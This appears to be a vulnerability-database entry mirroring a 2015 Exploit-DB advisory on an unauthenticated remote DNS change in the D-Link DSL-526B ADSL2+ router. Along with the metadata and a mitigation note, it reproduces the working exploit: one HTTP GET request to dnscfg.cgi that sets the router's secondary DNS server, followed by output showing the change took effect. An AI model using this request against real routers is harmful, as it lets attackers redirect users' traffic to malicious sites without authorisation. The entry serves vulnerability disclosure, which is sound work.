D-Link DSL-526B ADSL2+ AU_2.01 Unauthenticated Remote DNS Change

vendor:

DSL-526B ADSL2+ AU_2.01

by:

Todor Donev

7.8

CVSS

HIGH

Unauthenticated Remote DNS Change

284

CWE

Product Name: DSL-526B ADSL2+ AU_2.01

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: h:d-link:dsl-526b_adsl2+_au_2.01

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2015

D-Link DSL-526B ADSL2+ AU_2.01 Unauthenticated Remote DNS Change

This vulnerability allows an unauthenticated attacker to remotely change the DNS settings of the D-Link DSL-526B ADSL2+ AU_2.01 router. By sending a specially crafted HTTP GET request to the dnscfg.cgi script, an attacker can change the DNS settings of the router. This can be used to redirect users to malicious websites or to intercept traffic.

Mitigation:

Users should ensure that their router is running the latest firmware version and that the default credentials are changed.

Source

Exploit-DB raw data:

  D-Link DSL-526B ADSL2+ AU_2.01 
  Unauthenticated Remote DNS Change

  Copyright 2015 (c) Todor Donev 
  <todor.donev at gmail.com>
  http://www.ethical-hacker.org/
  https://www.facebook.com/ethicalhackerorg

  No description for morons, 
  script kiddies & noobs !!

  Disclaimer:
  This or previous programs is for Educational
  purpose ONLY. Do not use it without permission.
  The usual disclaimer applies, especially the
  fact that Todor Donev is not liable for any
  damages caused by direct or indirect use of the
  information or functionality provided by these
  programs. The author or any Internet provider
  bears NO responsibility for content or misuse
  of these programs or any derivatives thereof.
  By using these programs you accept the fact
  that any damage (dataloss, system crash,
  system compromise, etc.) caused by the use
  of these programs is not Todor Donev's
  responsibility.
  
  Use them at your own risk!

[todor@adamantium ~]$ GET "http://TARGET/dnscfg.cgi?dnsSecondary=8.8.8.8&dnsDynamic=0&dnsRefresh=1" | grep "var dns2"  
    var dns2 = '8.8.8.8';